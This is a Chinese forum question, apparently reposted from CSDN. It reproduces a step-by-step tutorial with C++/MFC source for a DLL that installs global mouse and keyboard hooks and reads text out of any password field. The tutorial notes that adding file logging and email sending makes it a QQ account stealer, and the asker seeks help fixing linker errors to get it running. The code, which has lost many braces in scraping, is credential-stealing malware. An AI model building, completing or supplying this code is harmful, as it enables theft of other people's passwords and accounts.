首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

学习hook,在网上看到一个鼠标键盘hook源码,但是出现一些无法解决的异常,请

2012-03-29 
学习hook,在网上看到一个鼠标键盘hook源码,但是出现一些无法解决的错误,请高手指点网上原文如下:1,进入向

学习hook,在网上看到一个鼠标键盘hook源码,但是出现一些无法解决的错误,请高手指点
网上原文如下:
1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。 
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下: 
class AFX_EXT_CLASS CGetPassHook : public CObject 

public: 
BOOL StopHook(); 
BOOL StartHook(HWND hwnd); 

CGetPassHook(); 
virtual ~CGetPassHook(); 

}; 
3:加入全局共享数据,如下: 
#pragma data_seg("ShareData") 
HHOOK hKeyBoardHook=NULL; //keyboard hook 
HHOOK hMouseHook=NULL; //mouse hook 
HINSTANCE glhInstance=NULL; //globle instance 
HWND hOutPutWnd=NULL; //Display Pass Wnd 
#pragma data_seg() 

4:加入鼠标,键盘钩子处理函数,如下: 
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) 
{ //鼠标钩子得理函数 
LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam; 
if(nCode>=0) 

HWND hTargetHwnd=lpMouse->hwnd; //得到鼠标所在窗口句柄 
if(hTargetHwnd) 

LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); //得到它的样式 
if(style&ES_PASSWORD) //如果是密码框 

char szPass[255]; 
::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass); 
//得到密码 
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); 
//显示密码 




return CallNextHookEx(hMouseHook,nCode,wParam,lParam); 
//加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递, 
//可以起到截儿消息的目的,我们这里调用之。 


LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) 
{ //keyboard hook proc 

if(nCode>=0) 

HWND hTargetHwnd=GetActiveWindow(); //get active window 
if(hTargetHwnd) 
EnumChildWindows(hTargetHwnd,EnumWndProc,0); //枚举所有窗口 


return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam); 
//加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递, 
//可以起到截儿消息的目的,我们这里调用之。 


这里要介绍下EnumChildWindows函数,原形如下: 
BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam); 
hWndParent:为枚举窗口的句柄 
lpEnumFunc:枚举函数的地址, 
lParam:这里为0 

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。 

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam) 
{ //enum the child window,find passedit 
if(hwnd) 

LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE 
if(style&ES_PASSWORD) //是密码框 

char szPass[255]; 
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); //得到PASS 
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); //显示 
return TRUE; 



return TRUE; 


6:在DEF文件中定义段属性: (这步很重要) 
  SECTIONS 
  mydata READ WRITE SHARED 

7:完成StartHook,StopHook函数,启动/关闭钩子,如下: 
BOOL CGetPassHook::StartHook(HWND hwnd) 
{ //install hoook 
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0); 
//mouse hook 
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); 
//keyboard hook 
if(hMouseHook&&hKeyBoardHook) 

hOutPutWnd=hwnd; //显示密码的句柄 
return TRUE; 

return FALSE; 


BOOL CGetPassHook::StopHook() 
{ //unstall hook 
BOOL mHook=UnhookWindowsHookEx(hMouseHook); 
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook); 
if(mHook&&kHook) 
return TRUE; 
return FALSE; 


8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下: 
extern HINSTANCE glhInstance; //记得这里 


extern "C" int APIENTRY 
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 

UNREFERENCED_PARAMETER(lpReserved); 
if (dwReason == DLL_PROCESS_ATTACH) 

TRACE0("GETPASS.DLL Initializing!\n"); 

if (!AfxInitExtensionModule(GetPassDLL, hInstance)) 
return 0; 
new CDynLinkLibrary(GetPassDLL); 
glhInstance=hInstance; //得到句柄 

else if (dwReason == DLL_PROCESS_DETACH) 

TRACE0("GETPASS.DLL Terminating!\n"); 
AfxTermExtensionModule(GetPassDLL); 

return 1; // ok 


9:编译,完成DLL部分, 

下面建立APP部分。如下: 

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。 

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files 
选择这两个文件。 

2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS 

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下: 

#include "GetPassHook.h" 
class CGetPassWordDlg : public CDialog 

protected: 
CGetPassHook m_hook; 
。。。 
DECLARE_MESSAGE_MAP() 
}; 

4:在实现文件中:OnInitDialog()中起动HOOK 

BOOL CGetPassWordDlg::OnInitDialog() 

CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS); 
m_hook.StartHook(pWnd->GetSafeHwnd()); //install hook 

return TRUE; // return TRUE unless you set the focus to a control 


5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下: 
void CGetPassWordDlg::OnDestroy() 

CDialog::OnDestroy(); 
m_hook.StopHook(); //stop hook 


6:将GetPass.dll拷贝到。EXE一个目录下, 

7:编译,运行. 
这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了

问题:
1、在dll部分第2步,无法继承cobject类,是不是应该手写?另外生在哪个文件中:getpass.h还是getpasshook.h?其余代码写在什么地方:getpass.cpp还是getpasshook.cpp?(我采取生成getpass.h,在getpass.cpp中填写)
2、在app部分,第5步,如何加入WM_DESTROY消息?
3、在app部分编译时,出错,信息为:etPassWord.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: virtual __thiscall CGetPassHook::~CGetPassHook(void)" (__imp_??1CGetPassHook@@UAE@XZ)
GetPassWordDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: virtual __thiscall CGetPassHook::~CGetPassHook(void)" (__imp_??1CGetPassHook@@UAE@XZ)
GetPassWordDlg.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) public: __thiscall CGetPassHook::CGetPassHook(void)" (__imp_??0CGetPassHook@@QAE@XZ)
Debug/GetPassWord.exe : fatal error LNK1120: 2 unresolved externals
Error executing link.exe.
应该如何解决。
4、一次实验时,不知怎么不提示错误了,但是运行时,提示:win32 error 193.应该如何解决。
请高手给一个能够运行的详细说明。

[解决办法]
error LNK2001是链接错误,CGetPassHook的析构函数没有实现体?CGetPassHook的构造函数也没有。

[解决办法]
http://topic.csdn.net/t/20040723/09/3202093.html

热点排行